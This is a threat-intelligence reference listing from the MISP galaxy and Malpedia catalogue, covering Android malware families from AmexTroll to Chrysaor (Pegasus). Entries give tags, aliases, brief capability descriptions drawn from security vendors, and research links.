https://drive.google.com/file/d/1qd7Nqjhe2vyGZ5bGm6gVw0mM1D6YDolu/view?usp=sharing

AmexTroll

The tag is: *misp-galaxy:malpedia="AmexTroll"*

AmexTroll is also known as:

Table 2126. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.amextroll
https://www.threatfabric.com/blogs/brata-a-tale-of-three-families
https://www.threatfabric.com/blogs/brata-a-tale-of-three-families.html

AmpleBot

This malware was initially named BlackRock and later renamed to AmpleBot.

The tag is: *misp-galaxy:malpedia="AmpleBot"*

AmpleBot is also known as:

- BlackRock

Table 2127. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.amplebot
https://www.threatfabric.com/blogs/blackrock_the_trojan_that_wanted_to_get_them_all.html
https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html
https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html

Anatsa

The tag is: *misp-galaxy:malpedia="Anatsa"*

Anatsa is also known as:

- ReBot
- TeaBot
- Toddler

Table 2128. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.anatsa
https://www.cleafy.com/cleafy-labs/a-stealthy-threat-uncovered-teabot-on-google-play-store
https://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/
https://twitter.com/ThreatFabric/status/1394958795508523008
https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered

https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/
https://gbhackers.com/teabot-banking-trojan/
https://www.cleafy.com/cleafy-labs/teabot
https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368
https://www.cleafy.com/documents/teabot
https://www.zscaler.com/blogs/security-research/android-document-readers-and-deception-tracking-latest-updates-anatsa
https://www.threatfabric.com/blogs/anatsa-trojan-returns-targeting-europe-and-expanding-its-reach
https://twitter.com/*icebre4ker*/status/1416409813467156482
https://labs.k7computing.com/?p=22407
https://labs.k7computing.com/index.php/play-store-app-serves-teabot-via-github/
https://www.buguroo.com/hubfs/website/pdf/reports/buguroo-malware-report-Toddler_EN.pdf
https://thehackernews.com/2022/01/widespread-flubot-and-teabot-malware.html
https://www.threatfabric.com/blogs/smishing-campaign-in-nl-spreading-cabassous-and-anatsa.html
https://www.cleafy.com/cleafy-labs/teabot-is-now-spreading-across-the-globe
https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html
https://www.threatfabric.com/blogs/anatsa-hits-uk-and-dach-with-new-campaign
https://www.prodaft.com/m/reports/Toddler_TLPWHITE_V2.pdf

AndroRAT

Androrat is a remote administration tool developed in Java Android for the client side and in Java/Swing for the Server. The name Androrat is a mix of Android and RAT (Remote Access Tool). It has been developed in a team of 4 for a university project. The goal of the application is to give the control of the android system remotely and retrieve informations from it.

The tag is: *misp-galaxy:malpedia="AndroRAT"*

AndroRAT is also known as:

Table 2129. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.androrat
https://github.com/DesignativeDave/androrat
https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html

https://www.kaspersky.com/blog/mobile-malware-part-4/24290/
https://mp.weixin.qq.com/s/AhxP5HmROtMsFBiUxj0cFg
https://cocomelonc.github.io/book/2025/05/19/aiya-mmd-book.html
https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/
https://www.stratosphereips.org/blog/2021/3/29/dissecting-a-rat-analysis-of-the-androrat
https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-command-line-androrat
https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset
https://hotforsecurity.bitdefender.com/blog/possibly-italy-born-android-rat-reported-in-china-find-bitdefender-researchers-16264.html

ANDROSNATCH

According to Google, a Chrome cookie stealer.

The tag is: *misp-galaxy:malpedia="ANDROSNATCH"*

ANDROSNATCH is also known as:

Table 2130. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.androsnatch
https://blog.google/threat-analysis-group/state-backed-attackers-and-commercial-surveillance-vendors-repeatedly-use-the-same-exploits/

Antidot

The malware displays fake Google Play update pages in multiple languages, including German, French, Spanish, Russian, Portuguese, Romanian, and English, indicating potential targets in these regions.

Antidot uses overlay attacks and keylogging techniques to efficiently collect sensitive information such as login credentials.

The tag is: *misp-galaxy:malpedia="Antidot"*

Antidot is also known as:

Table 2131. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/apk.antidot
https://medium.com/@mvaks/two-tales-and-one-antidot-e-a-new-mobile-malware-campaign-in-poland-de704997096f
https://cyble.com/blog/new-antidot-android-banking-trojan-masquerading-as-google-play-updates/
https://catalyst.prodaft.com/public/report/antidot/overview

Anubis (Android)

BleepingComputer found that Anubis will display fake phishing login forms when users open up apps for targeted platforms to steal credentials. This overlay screen will be shown over the real app's login screen to make victims think it's a legitimate login form when in reality, inputted credentials are sent to the attackers.

In the new version spotted by Lookout, Anubis now targets 394 apps and has the following capabilities:

Recording screen activity and sound from the microphone Implementing a SOCKS5 proxy for covert communication and package delivery Capturing screenshots Sending mass SMS messages from the device to specified recipients Retrieving contacts stored on the device Sending, reading, deleting, and blocking notifications for SMS messages received by the device Scanning the device for files of interest to exfiltrate Locking the device screen and displaying a persistent ransom note Submitting USSD code requests to query bank balances Capturing GPS data and pedometer statistics Implementing a keylogger to steal credentials Monitoring active apps to mimic and perform overlay attacks Stopping malicious functionality and removing the malware from the device

The tag is: *misp-galaxy:malpedia="Anubis (Android)"*

Anubis (Android) is also known as:

- BankBot
- android.bankbot
- android.bankspy

Table 2132. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubis
https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/
https://www.welivesecurity.com/2017/11/21/new-campaigns-spread-banking-malware-google-play/
https://securityaffairs.co/wordpress/133115/hacking/anubis-networks-new-c2.html
https://securityintelligence.com/after-big-takedown-efforts-20-more-bankbot-mobile-malware-apps-make-it-into-google-play/
https://community.riskiq.com/article/85b3db8c

https://www.fortinet.com/blog/threat-research/a-look-into-the-new-strain-of-bankbot.html
https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/
https://n1ght-w0lf.github.io/malware%20analysis/anubis-banking-malware/
http://b0n1.blogspot.de/2017/05/tracking-android-bankbot.html
https://labs.bitdefender.com/2020/03/android-apps-and-malware-capitalize-on-coronavirus
https://sysopfb.github.io/malware,/reverse-engineering/2018/08/30/Unpacking-Anubis-APK.html
http://blog.koodous.com/2017/04/decrypting-bankbot-communications.html
https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html
https://www.threatfabric.com/blogs/2020_year_of_the_rat.html
https://0x1c3n.tech/anubis-android-malware-analysis
https://bushidotoken.blogspot.com/2020/05/turkey-targeted-by-cerberus-and-anubis.html
https://assets.virustotal.com/reports/2021trends.pdf
https://pentest.blog/n-ways-to-unpack-mobile-malware/
https://muha2xmad.github.io/malware-analysis/anubis/
https://www.youtube.com/watch?v=U0UsfO-0uJM
https://cocomelonc.github.io/book/2025/05/19/aiya-mmd-book.html
https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/ [https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/]
https://www.fortinet.com/blog/threat-research/bankbot-the-prequel.html
https://info.phishlabs.com/blog/new-variant-bankbot-banking-trojan-aubis
http://blog.koodous.com/2017/05/bankbot-on-google-play.html
https://securelist.com/mobile-malware-evolution-2019/96280/
https://eybisi.run/Mobile-Malware-Analysis-Tricks-used-in-Anubis/
https://intel-honey.medium.com/reversing-anubis-malware-93f28d154bbb
https://blog.trendmicro.com/trendlabs-security-intelligence/google-play-apps-drop-anubis-banking-malware-use-motion-based-evasion-tactics/

AnubisSpy

The tag is: *misp-galaxy:malpedia="AnubisSpy"*

AnubisSpy is also known as:

Table 2133. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubisspy

https://documents.trendmicro.com/assets/tech-brief-cyberespionage-campaign-sphinx-goes-mobile-with-anubisspy.pdf
http://blog.trendmicro.com/trendlabs-security-intelligence/cyberespionage-campaign-sphinx-goes-mobile-anubisspy/

Asacub

The tag is: *misp-galaxy:malpedia="Asacub"*

Asacub is also known as:

Table 2134. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.asacub
https://securelist.com/mobile-malware-evolution-2019/96280/
https://securelist.com/the-rise-of-mobile-banker-asacub/87591/

Ashas

The tag is: *misp-galaxy:malpedia="Ashas"*

Ashas is also known as:

Table 2135. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ashas
https://www.welivesecurity.com/2019/10/24/tracking-down-developer-android-adware/

ATANK

According to Lukas Stefanko, this is an open-source crypto-ransomware found on Github in 2018. IT can en/decrypt files (AES, key: 32 random chars, sent to C&C), uses email as contact point but will remove all files after 24 hours or after a reboot.

The tag is: *misp-galaxy:malpedia="ATANK"*

ATANK is also known as:

Table 2136. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.atank
https://twitter.com/LukasStefanko/status/1268070798293708800

AxBanker

According to EnigmaSoft, AxBanker is a banking Trojan targeting Android devices specifically. The threatening tool has been deployed as part of large attack campaigns against users in India. The threat actors use smishing (SMS phishing) techniques to smuggle the malware threat onto the victims' devices. The fake applications carrying AxBanker are designed to visually impersonate the official applications of popular Indian banking organizations. The weaponized applications use fake promises or rewards and discounts as additional lures.

The tag is: *misp-galaxy:malpedia="AxBanker"*

AxBanker is also known as:

Table 2137. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.axbanker
https://www.trendmicro.com/en_vn/research/22/k/massive-phishing-campaigns-target-india-banks-clients.html#:}:text=We%20found%20five%20banking%20malware
https://blog.polyswarm.io/phishing-and-android-malware-campaign-targets-indian-banks

badbazaar

BadBazaar is a type of malware primarily functioning as a spyware. Designed to compromise Android and iOS devices, it is often distributed through malicious apps downloaded from unofficial app stores, third-party websites, Telegram channels, and social engineering. Once installed, BadBazaar seeks to surveil the victim by intercepting SMS messages, performing screen recordings, and logging keystrokes on the device. Additionally, it can execute remote commands and download and install other malicious applications, further compromising the security of the affected device.

The tag is: *misp-galaxy:malpedia="badbazaar"*

badbazaar is also known as:

Table 2138. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.badbazaar
https://www.lookout.com/threat-intelligence/article/badbazaar-surveillanceware-apt15
https://www.ncsc.gov.uk/news/ncsc-partners-share-guidance-for-communities-at-high-risk-of-digital-surveillance

https://www.ncsc.gov.uk/files/NCSC-Advisory-BADBAZAAR-and-MOONSHINE-technical-analysis-and-mitigations.pdf
https://www.ncsc.gov.uk/files/NCSC-Advisory-BADBAZAAR-and-MOONSHINE-guidance.pdf

BADBOX

According to BitSight, BADBOX is a large-scale cybercriminal operation selling off-brand Android TV boxes, smartphones, and other Android electronics with preinstalled malware.

The tag is: *misp-galaxy:malpedia="BADBOX"*

BADBOX is also known as:

Table 2139. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.badbox
https://www.bleepingcomputer.com/news/security/android-tv-box-on-amazon-came-pre-installed-with-malware/
https://www.badbox2serviceofprocess.com/
https://www.bitsight.com/blog/badbox-botnet-back
https://www.bleepingcomputer.com/news/security/badbox-malware-botnet-infects-192-000-android-devices-despite-disruption/
https://censys.com/unpacking-the-badbox-botnet/
https://github.com/DesktopECHO/T95-H616-Malware
https://www.ic3.gov/PSA/2025/PSA250605#fn2
https://www.bleepingcomputer.com/news/security/germany-blocks-badbox-malware-loaded-on-30-000-android-devices/
https://xdaforums.com/t/owner-of-an-android-tv-box-may-want-to-check-if-its-an-active-botnet-member.4519567/
https://www.humansecurity.com/learn/blog/satori-threat-intelligence-disruption-badbox-2-0/

BADCALL (Android)

remote access tool (RAT) payload on Android devices

The tag is: *misp-galaxy:malpedia="BADCALL (Android)"*

BADCALL (Android) is also known as:

Table 2140. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.badcall

https://www.us-cert.gov/ncas/analysis-reports/ar19-252a

BadPatch

The tag is: *misp-galaxy:malpedia="BadPatch"*

BadPatch is also known as:

- WelcomeChat

Table 2141. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.badpatch
https://www.welivesecurity.com/2020/07/14/welcome-chat-secure-messaging-app-nothing-further-truth/

Bahamut (Android)

According to PCrisk, Bahamut is the name of Android malware with spyware functionality. Threat actors use Bahamut to steal sensitive information. The newest malware version targets various messaging apps and personally identifiable information.

The tag is: *misp-galaxy:malpedia="Bahamut (Android)"*

Bahamut (Android) is also known as:

Table 2142. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.bahamut
https://blog.cyble.com/2022/06/29/bahamut-android-malware-returns-with-new-spying-capabilities/
https://www.welivesecurity.com/2022/11/23/bahamut-cybermercenary-group-targets-android-users-fake-vpn-apps/
https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/
https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/
https://www.trendmicro.com/en_us/research/18/h/the-urpage-connection-to-bahamut-confucius-and-patchwork.html
https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/
https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf

https://mp.weixin.qq.com/s/YAAybJBAvxqrQWYDg31BBw

Basbanke

The tag is: *misp-galaxy:malpedia="Basbanke"*

Basbanke is also known as:

Table 2143. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.basbanke
<a href="https://seguranca-informatica.pt/hackers-are-again-attacking-portuguese-banking-organizations-via-android-trojan-banker/<mark>.YHTDZS2tEUE">https://seguranca-informatica.pt/hackers-are-again-attacking-portuguese-banking-organizations-via-android-trojan-banker/</mark>.YHTDZS2tEUE
https://twitter.com/LukasStefanko/status/1280243673100402690
https://securelist.com/basbanke-trend-setting-brazilian-banking-trojan/90365/

BianLian (Android)

The tag is: *misp-galaxy:malpedia="BianLian (Android)"*

BianLian (Android) is also known as:

- Hydra

Table 2144. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.bianlian
https://cryptax.medium.com/android-bianlian-payload-61febabed00a
https://cryptax.medium.com/quick-look-into-a-new-sample-of-android-bianlian-bc5619efa726
https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html
https://cryptax.medium.com/bad-zip-and-new-packer-for-android-bianlian-5bdad4b90aeb
https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5
https://www.threatfabric.com/blogs/bianlian_from_rags_to_riches_the_malware_dropper_that_had_a_dream.html
https://www.youtube.com/watch?v=DPFcvSy4OZk
https://cryptax.medium.com/multidex-trick-to-unpack-android-bianlian-ed52eb791e56
https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221

BingoMod

The tag is: *misp-galaxy:malpedia="BingoMod"*

BingoMod is also known as:

Table 2145. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.bingomod
https://www.cleafy.com/cleafy-labs/bingomod-the-new-android-rat-that-steals-money-and-wipes-data

BlankBot

The tag is: *misp-galaxy:malpedia="BlankBot"*

BlankBot is also known as:

Table 2146. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.blankbot
https://intel471.com/blog/blankbot-a-new-android-banking-trojan-with-screen-recording-keylogging-and-remote-control-capabilities

BoneSpy

According to Lookout, BoneSpy is based on the Russian-developed, open-source DroidWatcher surveillanceware, featuring nearly identical code, names, and log messages in multiple classes related to the handling of databases containing collected exfil data such as call logs, location tracking, SMS messages, notifications, and browser bookmarks. Class names for many entry points (receivers, activities, and services) were either the same or very similar to DroidWatcher samples.

The tag is: *misp-galaxy:malpedia="BoneSpy"*

BoneSpy is also known as:

Table 2147. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.bone_spy
https://www.lookout.com/threat-intelligence/article/gamaredon-russian-android-surveillanceware

BrasDex

According to PCrisk, BraDex is a banking malware targeting Android operating systems. This

malicious program aims to gain access to victims' bank accounts and make fraudulent transactions.

At the time of writing, BrasDex targets Brazilian banking applications exclusively. In previous BrasDex campaigns, it infiltrated devices under the guise of Android system related apps. Lately, this malware has been installed by a fake Brazilian Banco Santander banking application.

The tag is: *misp-galaxy:malpedia="BrasDex"*

BrasDex is also known as:

Table 2148. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.brasdex
https://www.threatfabric.com/blogs/brasdex-a-new-brazilian-ats-malware.html

BRATA

According to Cleafy, the victim’s Android device is factory reset after the attackers siphon money from the victim’s bank account. This distracts users from the crime, while removing traces or footprints that might be of interest to forensic analysts.

The tag is: *misp-galaxy:malpedia="BRATA"*

BRATA is also known as:

- AmexTroll
- Copybara

Table 2149. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.brata
https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam
https://www.cleafy.com/cleafy-labs/how-brata-is-monitoring-your-bank-account
https://www.cleafy.com/cleafy-labs/mobile-banking-fraud-brata-strikes-again
https://www.threatfabric.com/blogs/brata-a-tale-of-three-families.html
https://www.threatfabric.com/blogs/toad-fraud
https://securelist.com/spying-android-rat-from-brazil-brata/92775/
https://www.cleafy.com/cleafy-labs/brata-is-evolving-into-an-advanced-persistent-threat

Brunhilda

PRODAFT describes Brunhilda as a "Dropper as a Service" for Google Play, delivering e.g. Alien.

The tag is: *misp-galaxy:malpedia="Brunhilda"*

Brunhilda is also known as:

Table 2150. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.brunhilda
https://www.cleafy.com/cleafy-labs/the-android-malwares-journey-from-google-play-to-banking-fraud
https://blog.fox-it.com/2024/03/28/android-malware-vultur-expands-its-wingspan
https://www.threatfabric.com/blogs/the-attack-of-the-droppers.html
https://www.prodaft.com/m/reports/BrunHilda_DaaS.pdf

BTMOB RAT

According to Cyble, this is an advanced Android malware evolved from SpySolr that features remote control, credential theft, and data exfiltration. It spreads via phishing sites impersonating streaming services like iNat TV and fake mining platforms. The malware abuses Android's Accessibility Service to unlock devices, log keystrokes, and automate credential theft through injections. It uses WebSocket-based C&C communication for real-time command execution and data theft. BTMOB RAT supports various malicious actions, including live screen sharing, file management, audio recording, and web injections.

The tag is: *misp-galaxy:malpedia="BTMOB RAT"*

BTMOB RAT is also known as:

Table 2151. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.btmob
https://any.run/malware-trends/btmob/
https://cyble.com/blog/btmob-rat-newly-discovered-android-malware/

BusyGasper

The tag is: *misp-galaxy:malpedia="BusyGasper"*

BusyGasper is also known as:

Table 2152. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.busygasper
https://securelist.com/busygasper-the-unfriendly-spy/87627/

CapraRAT

According to PCrisk, CapraRAT is the name of an Android remote access trojan (RAT), possibly a modified version of another (open-source) RAT called AndroRAT. It is known that CapraRAT is used by an advanced persistent threat group (ATP) called APT36 (also known as Earth Karkaddan). CapraRAT allows attackers to perform certain actions on the infected Android device.

The tag is: *misp-galaxy:malpedia="CapraRAT"*

CapraRAT is also known as:

Table 2153. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.capra_rat
https://www.sentinelone.com/labs/capratube-transparent-tribes-caprarat-mimics-youtube-to-hijack-android-phones/
https://www.welivesecurity.com/2023/03/07/love-scam-espionage-transparent-tribe-lures-indian-pakistani-officials/
https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html

CarbonSteal

The tag is: *misp-galaxy:malpedia="CarbonSteal"*

CarbonSteal is also known as:

Table 2154. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.carbonsteal
https://www.lookout.com/documents/threat-reports/us/lookout-uyghur-malware-tr-us.pdf

Catelites

Catelites Bot (identified by Avast and SfyLabs in December 2017) is an Android trojan, with ties to CronBot. Once the malicious app is installed, attackers use social engineering tricks and window overlays to get credit card details from the victim. The distribution vector seems to be fake apps from third-party app stores (not Google Play) or via malvertisement. After installation and activation, the app creates fake Gmail, Google Play and Chrome icons. Furthermore, the malware sends a fake system notification, telling the victim that they need to re-authenticate with Google Services and ask for their credit card details to be entered. Currently the malware has overlays for over 2,200 apps of banks and financial institutions.

The tag is: *misp-galaxy:malpedia="Catelites"*

Catelites is also known as:

Table 2155. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.catelites
https://www.youtube.com/watch?v=1LOy0ZyjEOk
https://blog.avast.com/new-version-of-mobile-malware-catelites-possibly-linked-to-cron-cyber-gang

Cerberus

According to PCrisk, Cerberus is an Android banking Trojan which can be rented on hacker forums. It was been created in 2019 and is used to steal sensitive, confidential information. Cerberus can also be used to send commands to users' devices and perform dangerous actions.

The tag is: *misp-galaxy:malpedia="Cerberus"*

Cerberus is also known as:

Table 2156. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.cerberus
https://go.recordedfuture.com/hubfs/reports/cta-2020-1016.pdf
https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html
https://community.riskiq.com/article/85b3db8c
https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html
https://nur.pub/cerberus-analysis
https://insights.oem.avira.com/in-depth-analysis-of-a-cerberus-trojan-variant/
https://labs.bitdefender.com/2020/09/apps-on-google-play-tainted-with-cerberus-banker-malware/
https://securelist.com/the-state-of-stalkerware-in-2021/106193/
https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html
https://www.threatfabric.com/blogs/2020_year_of_the_rat.html
https://bushidotoken.blogspot.com/2020/05/turkey-targeted-by-cerberus-and-anubis.html
https://www.forbes.com/sites/zakdoffman/2019/08/16/dangerous-new-android-trojan-hides-from-malware-researchers-and-taunts-them-on-twitter/
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://twitter.com/AndroidCerberus
https://preyproject.com/blog/en/cerberus-and-alien-the-malware-that-has-put-android-in-a-tight-spot/

https://www.biznet.com.tr/wp-content/uploads/2020/08/Cerberus.pdf
https://blog.cyberint.com/cerberus-is-dead-long-live-cerberus
https://github.com/ics-iot-bootcamp/cerberus_research
https://cyberint.com/blog/research/cerberus-is-dead-long-live-cerberus/
https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/04/12075509/EN_The-State-of-Stalkerware-2021.pdf

Chameleon

The malware chamaleon is an Android trojan that pretends to be legitimate entities to steal data from users in Australia and Poland. It exploits the Accessibility Service to monitor and modify the device screen.

The tag is: *misp-galaxy:malpedia="Chameleon"*

Chameleon is also known as:

Table 2157. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.chameleon
https://www.threatfabric.com/blogs/android-banking-trojan-chameleon-is-back-in-action
https://www.threatfabric.com/blogs/chameleon-is-now-targeting-employees-masquerading-as-crm-app
https://blog.cyble.com/2023/04/13/chameleon-a-new-android-malware-spotted-in-the-wild/

Chamois

The tag is: *misp-galaxy:malpedia="Chamois"*

Chamois is also known as:

Table 2158. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.chamois
https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-unpacking-packed-unpacker-reversing-android-anti-analysis-native-library/
https://github.com/maddiestone/ConPresentations/blob/master/KasperskySAS2019.Chamois.pdf
https://android-developers.googleblog.com/2017/03/detecting-and-eliminating-chamois-fraud.html

Charger

The tag is: *misp-galaxy:malpedia="Charger"*

Charger is also known as:

Table 2159. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.charger
http://blog.joesecurity.org/2017/01/deep-analysis-of-android-ransom-charger.html
https://www.welivesecurity.com/wp-content/uploads/2019/02/ESET_Android_Banking_Malware.pdf
http://blog.checkpoint.com/2017/01/24/charger-malware/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-recap-january-14-29-2017

Chinotto (Android)

The tag is: *misp-galaxy:malpedia="Chinotto (Android)"*

Chinotto (Android) is also known as:

Table 2160. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.chinotto
https://blog.cyble.com/2021/12/06/apt37-using-a-new-android-spyware-chinotto/
https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/

Chrysaor

The tag is: *misp-galaxy:malpedia="Chrysaor"*

Chrysaor is also known as:

- JigglyPuff
- Pegasus

Table 2161. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.chrysaor
https://citizenlab.ca/2021/08/bahrain-hacks-activists-with-nso-group-zero-click-iphone-exploits/
https://security.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html

https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-android-technical-analysis.pdf

https://twitter.com/billmarczak/status/1416801439402262529

https://www.trendmicro.com/en_us/research/21/i/analyzing-pegasus-spywares-zero-click-iphone-exploit-forcedentry.html

https://thewire.in/government/project-pegasus-journalists-ministers-activists-phones-spying

https://www.amnesty.org/en/latest/news/2021/07/the-pegasus-project/

https://zetter.substack.com/p/pegasus-spyware-how-it-works-and

https://citizenlab.ca/2022/04/peace-through-pegasus-jordanian-human-rights-defenders-and-journalists-hacked-with-pegasus-spyware/

https://therecord.media/mexican-army-spyware

https://www.washingtonpost.com/technology/2021/07/18/reactions-pegasus-project-nso/

https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html

https://www.cyjax.com/2021/10/26/mercenary-apts-an-exploration/

https://github.com/AmnestyTech/investigations/tree/master/2021-07-18_nso

https://www.theguardian.com/world/2021/jul/18/nso-spyware-used-to-target-family-of-jamal-khashoggi-leaked-data-shows-saudis-pegasus

https://www.washingtonpost.com/investigations/interactive/2021/jamal-khashoggi-wife-fiancee-cellphone-hack/?itid=co_pegasus_5

https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-1

https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

https://www.bleepingcomputer.com/news/security/iphones-running-latest-ios-hacked-to-deploy-nso-group-spyware/

https://www.washingtonpost.com/technology/2021/07/19/apple-iphone-nso/

https://lifars.com/2022/01/forensics-analysis-of-the-nso-groups-pegasus-spyware/

https://www.iverify.io/post/clipping-wings-our-analysis-of-a-pegasus-spyware-sample

https://thewire.in/rights/sar-geelani-pegasus-spyware-phone-messages

https://www.lemonde.fr/projet-pegasus/article/2021/07/18/au-maroc-comme-en-france-des-journalistes-mis-sous-surveillance-avec-le-logiciel-pegasus_6088654_6088648.html

https://thewire.in/government/indian-army-bsf-raw-pegasus-spyware-threat

https://www.theguardian.com/news/series/pegasus-project

https://www.theguardian.com/world/2021/jul/18/revealed-leak-uncovers-global-abuse-of-cyber-surveillance-weapon-nso-group-pegasus

https://citizenlab.ca/2021/12/pegasus-vs-predator-dissidents-doubly-infected-iphone-reveals-cytrox-mercenary-spyware/

https://www.cybertrends.it/pegasus-lo-spyware-per-smartphone-come-funziona-e-come-ci-si-puo-proteggere/

https://nex.sx/blog/2021/08/03/the-pegasus-project.html
https://citizenlab.ca/2021/07/amnesty-peer-review/
https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/
https://citizenlab.ca/2021/11/palestinian-human-rights-defenders-hacked-nso-groups-pegasus-spyware/
https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/
https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html
https://www.theguardian.com/news/2021/jul/18/viktor-orban-using-nso-spyware-in-assault-on-media-data-suggests
https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-appendix-d/
https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-3/
https://thewire.in/tag/pegasus-project
https://citizenlab.ca/2022/04/catalangate-extensive-mercenary-spyware-operation-against-catalans-using-pegasus-candiru/
https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/
https://citizenlab.ca/2020/01/stopping-the-press-new-york-times-journalist-targeted-by-saudi-linked-pegasus-spyware-operator/
https://irpimedia.irpi.eu/sorveglianze-cy4gate/
https://media.ccc.de/v/33c3-7901-pegasus_internals
https://objective-see.com/blog/blog_0x67.html
https://www.vice.com/en/article/xgx5bw/amazon-aws-shuts-down-nso-group-infrastructure
https://forbiddenstories.org/pegasus-the-new-global-weapon-for-silencing-journalists/
https://www.theguardian.com/news/2021/jul/18/revealed-murdered-journalist-number-selected-mexico-nso-client-cecilio-pineda-birto
https://thewire.in/media/pegasus-project-spyware-indian-journalists
https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html
https://twitter.com/HackSysTeam/status/1418223814387765258?s=20
https://citizenlab.ca/2020/12/the-great-ipwn-journalists-hacked-with-suspected-nso-group-imessage-zero-click-exploit/
https://www.washingtonpost.com/world/2021/07/19/india-nso-pegasus/
https://blog.zecops.com/research/the-recent-ios-0-click-cve-2021-30860-sounds-familiar-an-unreleased-write-up-one-year-later/
https://citizenlab.ca/2021/10/breaking-news-new-york-times-journalist-ben-hubbard-pegasus/
